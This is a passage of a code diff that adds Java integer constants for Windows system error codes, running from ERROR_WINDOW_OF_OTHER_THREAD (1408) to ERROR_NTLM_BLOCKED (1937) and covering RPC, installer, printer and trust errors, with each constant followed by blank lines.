+  public static final int ERROR_WINDOW_OF_OTHER_THREAD = 1408;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HOTKEY_ALREADY_REGISTERED = 1409;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CLASS_ALREADY_EXISTS = 1410;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CLASS_DOES_NOT_EXIST = 1411;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CLASS_HAS_WINDOWS = 1412;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_INDEX = 1413;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_ICON_HANDLE = 1414;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRIVATE_DIALOG_INDEX = 1415;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LISTBOX_ID_NOT_FOUND = 1416;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_WILDCARD_CHARACTERS = 1417;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CLIPBOARD_NOT_OPEN = 1418;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HOTKEY_NOT_REGISTERED = 1419;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WINDOW_NOT_DIALOG = 1420;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONTROL_ID_NOT_FOUND = 1421;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_COMBOBOX_MESSAGE = 1422;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WINDOW_NOT_COMBOBOX = 1423;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_EDIT_HEIGHT = 1424;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DC_NOT_FOUND = 1425;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_HOOK_FILTER = 1426;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_FILTER_PROC = 1427;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HOOK_NEEDS_HMOD = 1428;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_GLOBAL_ONLY_HOOK = 1429;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_JOURNAL_HOOK_SET = 1430;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HOOK_NOT_INSTALLED = 1431;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LB_MESSAGE = 1432;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SETCOUNT_ON_BAD_LB = 1433;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LB_WITHOUT_TABSTOPS = 1434;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DESTROY_OBJECT_OF_OTHER_THREAD = 1435;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CHILD_WINDOW_MENU = 1436;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SYSTEM_MENU = 1437;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MSGBOX_STYLE = 1438;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SPI_VALUE = 1439;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SCREEN_ALREADY_LOCKED = 1440;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HWNDS_HAVE_DIFF_PARENT = 1441;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_CHILD_WINDOW = 1442;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_GW_COMMAND = 1443;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_THREAD_ID = 1444;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NON_MDICHILD_WINDOW = 1445;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_POPUP_ALREADY_ACTIVE = 1446;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SCROLLBARS = 1447;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SCROLLBAR_RANGE = 1448;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SHOWWIN_COMMAND = 1449;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SYSTEM_RESOURCES = 1450;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NONPAGED_SYSTEM_RESOURCES = 1451;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PAGED_SYSTEM_RESOURCES = 1452;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WORKING_SET_QUOTA = 1453;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PAGEFILE_QUOTA = 1454;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_COMMITMENT_LIMIT = 1455;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MENU_ITEM_NOT_FOUND = 1456;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_KEYBOARD_HANDLE = 1457;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HOOK_TYPE_NOT_ALLOWED = 1458;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION = 1459;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TIMEOUT = 1460;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MONITOR_HANDLE = 1461;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INCORRECT_SIZE = 1462;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYMLINK_CLASS_DISABLED = 1463;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYMLINK_NOT_SUPPORTED = 1464;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_XML_PARSE_ERROR = 1465;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_XMLDSIG_ERROR = 1466;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RESTART_APPLICATION = 1467;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WRONG_COMPARTMENT = 1468;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_AUTHIP_FAILURE = 1469;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EVENTLOG_FILE_CORRUPT = 1500;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EVENTLOG_CANT_START = 1501;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_FILE_FULL = 1502;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EVENTLOG_FILE_CHANGED = 1503;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_TASK_NAME = 1550;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_TASK_INDEX = 1551;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_THREAD_ALREADY_IN_TASK = 1552;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_SERVICE_FAILURE = 1601;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_USEREXIT = 1602;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_FAILURE = 1603;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_SUSPEND = 1604;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_PRODUCT = 1605;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_FEATURE = 1606;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_COMPONENT = 1607;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_PROPERTY = 1608;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_HANDLE_STATE = 1609;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_CONFIGURATION = 1610;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INDEX_ABSENT = 1611;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_SOURCE_ABSENT = 1612;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_PACKAGE_VERSION = 1613;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRODUCT_UNINSTALLED = 1614;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_QUERY_SYNTAX = 1615;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_FIELD = 1616;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_REMOVED = 1617;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_ALREADY_RUNNING = 1618;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_PACKAGE_OPEN_FAILED = 1619;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_PACKAGE_INVALID = 1620;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_UI_FAILURE = 1621;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_LOG_FAILURE = 1622;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_LANGUAGE_UNSUPPORTED = 1623;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_TRANSFORM_FAILURE = 1624;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_PACKAGE_REJECTED = 1625;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FUNCTION_NOT_CALLED = 1626;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FUNCTION_FAILED = 1627;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_TABLE = 1628;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DATATYPE_MISMATCH = 1629;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNSUPPORTED_TYPE = 1630;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CREATE_FAILED = 1631;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_TEMP_UNWRITABLE = 1632;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_PLATFORM_UNSUPPORTED = 1633;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_NOTUSED = 1634;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATCH_PACKAGE_OPEN_FAILED = 1635;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATCH_PACKAGE_INVALID = 1636;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATCH_PACKAGE_UNSUPPORTED = 1637;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRODUCT_VERSION = 1638;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_COMMAND_LINE = 1639;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_REMOTE_DISALLOWED = 1640;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SUCCESS_REBOOT_INITIATED = 1641;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATCH_TARGET_NOT_FOUND = 1642;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATCH_PACKAGE_REJECTED = 1643;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_TRANSFORM_REJECTED = 1644;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_REMOTE_PROHIBITED = 1645;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATCH_REMOVAL_UNSUPPORTED = 1646;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_PATCH = 1647;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATCH_NO_SEQUENCE = 1648;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATCH_REMOVAL_DISALLOWED = 1649;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PATCH_XML = 1650;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT = 1651;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSTALL_SERVICE_SAFEBOOT = 1652;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_STRING_BINDING = 1700;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_WRONG_KIND_OF_BINDING = 1701;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_BINDING = 1702;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_PROTSEQ_NOT_SUPPORTED = 1703;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_RPC_PROTSEQ = 1704;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_STRING_UUID = 1705;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_ENDPOINT_FORMAT = 1706;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_NET_ADDR = 1707;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_ENDPOINT_FOUND = 1708;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_TIMEOUT = 1709;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_OBJECT_NOT_FOUND = 1710;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_ALREADY_REGISTERED = 1711;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_TYPE_ALREADY_REGISTERED = 1712;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_ALREADY_LISTENING = 1713;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_PROTSEQS_REGISTERED = 1714;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NOT_LISTENING = 1715;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNKNOWN_MGR_TYPE = 1716;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNKNOWN_IF = 1717;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_BINDINGS = 1718;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_PROTSEQS = 1719;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_CANT_CREATE_ENDPOINT = 1720;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_OUT_OF_RESOURCES = 1721;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_SERVER_UNAVAILABLE = 1722;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_SERVER_TOO_BUSY = 1723;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_NETWORK_OPTIONS = 1724;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_CALL_ACTIVE = 1725;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_CALL_FAILED = 1726;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_CALL_FAILED_DNE = 1727;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_PROTOCOL_ERROR = 1728;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_PROXY_ACCESS_DENIED = 1729;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNSUPPORTED_TRANS_SYN = 1730;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNSUPPORTED_TYPE = 1732;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_TAG = 1733;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_BOUND = 1734;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_ENTRY_NAME = 1735;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_NAME_SYNTAX = 1736;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNSUPPORTED_NAME_SYNTAX = 1737;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UUID_NO_ADDRESS = 1739;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_DUPLICATE_ENDPOINT = 1740;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNKNOWN_AUTHN_TYPE = 1741;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_MAX_CALLS_TOO_SMALL = 1742;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_STRING_TOO_LONG = 1743;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_PROTSEQ_NOT_FOUND = 1744;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_PROCNUM_OUT_OF_RANGE = 1745;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_BINDING_HAS_NO_AUTH = 1746;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNKNOWN_AUTHN_SERVICE = 1747;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNKNOWN_AUTHN_LEVEL = 1748;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_AUTH_IDENTITY = 1749;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNKNOWN_AUTHZ_SERVICE = 1750;
+  
+
+
+
+
+
+
+
+
+  public static final int EPT_S_INVALID_ENTRY = 1751;
+  
+
+
+
+
+
+
+
+
+  public static final int EPT_S_CANT_PERFORM_OP = 1752;
+  
+
+
+
+
+
+
+
+
+  public static final int EPT_S_NOT_REGISTERED = 1753;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NOTHING_TO_EXPORT = 1754;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INCOMPLETE_NAME = 1755;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_VERS_OPTION = 1756;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_MORE_MEMBERS = 1757;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NOT_ALL_OBJS_UNEXPORTED = 1758;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INTERFACE_NOT_FOUND = 1759;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_ENTRY_ALREADY_EXISTS = 1760;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_ENTRY_NOT_FOUND = 1761;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NAME_SERVICE_UNAVAILABLE = 1762;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_NAF_ID = 1763;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_CANNOT_SUPPORT = 1764;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_CONTEXT_AVAILABLE = 1765;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INTERNAL_ERROR = 1766;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_ZERO_DIVIDE = 1767;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_ADDRESS_ERROR = 1768;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_FP_DIV_ZERO = 1769;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_FP_UNDERFLOW = 1770;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_FP_OVERFLOW = 1771;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_NO_MORE_ENTRIES = 1772;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_SS_CHAR_TRANS_OPEN_FAIL = 1773;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_SS_CHAR_TRANS_SHORT_FILE = 1774;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_SS_IN_NULL_CONTEXT = 1775;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_SS_CONTEXT_DAMAGED = 1777;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_SS_HANDLES_MISMATCH = 1778;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_SS_CANNOT_GET_CALL_HANDLE = 1779;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_NULL_REF_POINTER = 1780;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_ENUM_VALUE_OUT_OF_RANGE = 1781;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_BYTE_COUNT_TOO_SMALL = 1782;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_BAD_STUB_DATA = 1783;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_USER_BUFFER = 1784;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNRECOGNIZED_MEDIA = 1785;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_TRUST_LSA_SECRET = 1786;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_TRUST_SAM_ACCOUNT = 1787;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TRUSTED_DOMAIN_FAILURE = 1788;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TRUST_FAILURE = 1790;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_CALL_IN_PROGRESS = 1791;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NETLOGON_NOT_STARTED = 1792;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCOUNT_EXPIRED = 1793;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REDIRECTOR_HAS_OPEN_HANDLES = 1794;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_DRIVER_ALREADY_INSTALLED = 1795;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_PORT = 1796;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_PRINTER_DRIVER = 1797;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_PRINTPROCESSOR = 1798;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SEPARATOR_FILE = 1799;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PRIORITY = 1800;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PRINTER_NAME = 1801;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_ALREADY_EXISTS = 1802;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PRINTER_COMMAND = 1803;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DATATYPE = 1804;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_ENVIRONMENT = 1805;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_MORE_BINDINGS = 1806;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 1807;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 1808;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOLOGON_SERVER_TRUST_ACCOUNT = 1809;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DOMAIN_TRUST_INCONSISTENT = 1810;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SERVER_HAS_OPEN_HANDLES = 1811;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_DATA_NOT_FOUND = 1812;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_TYPE_NOT_FOUND = 1813;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_NAME_NOT_FOUND = 1814;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_LANG_NOT_FOUND = 1815;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_ENOUGH_QUOTA = 1816;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_INTERFACES = 1817;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_CALL_CANCELLED = 1818;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_BINDING_INCOMPLETE = 1819;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_COMM_FAILURE = 1820;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UNSUPPORTED_AUTHN_LEVEL = 1821;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NO_PRINC_NAME = 1822;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NOT_RPC_ERROR = 1823;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_UUID_LOCAL_ONLY = 1824;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_SEC_PKG_ERROR = 1825;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NOT_CANCELLED = 1826;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_INVALID_ES_ACTION = 1827;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_WRONG_ES_VERSION = 1828;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_WRONG_STUB_VERSION = 1829;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_INVALID_PIPE_OBJECT = 1830;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_WRONG_PIPE_ORDER = 1831;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_WRONG_PIPE_VERSION = 1832;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_GROUP_MEMBER_NOT_FOUND = 1898;
+  
+
+
+
+
+
+
+
+
+  public static final int EPT_S_CANT_CREATE = 1899;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_OBJECT = 1900;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_TIME = 1901;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_FORM_NAME = 1902;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_FORM_SIZE = 1903;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALREADY_WAITING = 1904;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_DELETED = 1905;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PRINTER_STATE = 1906;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PASSWORD_MUST_CHANGE = 1907;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCOUNT_LOCKED_OUT = 1909;
+  
+
+
+
+
+
+
+
+
+  public static final int OR_INVALID_OXID = 1910;
+  
+
+
+
+
+
+
+
+
+  public static final int OR_INVALID_OID = 1911;
+  
+
+
+
+
+
+
+
+
+  public static final int OR_INVALID_SET = 1912;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_SEND_INCOMPLETE = 1913;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_ASYNC_HANDLE = 1914;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INVALID_ASYNC_CALL = 1915;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_PIPE_CLOSED = 1916;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_PIPE_DISCIPLINE_ERROR = 1917;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_X_PIPE_EMPTY = 1918;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SITENAME = 1919;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_ACCESS_FILE = 1920;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_RESOLVE_FILENAME = 1921;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_ENTRY_TYPE_MISMATCH = 1922;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_NOT_ALL_OBJS_EXPORTED = 1923;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_INTERFACE_NOT_EXPORTED = 1924;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_PROFILE_NOT_ADDED = 1925;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_PRF_ELT_NOT_ADDED = 1926;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_PRF_ELT_NOT_REMOVED = 1927;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_GRP_ELT_NOT_ADDED = 1928;
+  
+
+
+
+
+
+
+
+
+  public static final int RPC_S_GRP_ELT_NOT_REMOVED = 1929;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_KM_DRIVER_BLOCKED = 1930;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONTEXT_EXPIRED = 1931;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PER_USER_TRUST_QUOTA_EXCEEDED = 1932;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED = 1933;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED = 1934;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED = 1936;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NTLM_BLOCKED = 1937;
+  
+
+
+
+
+
+
+
+
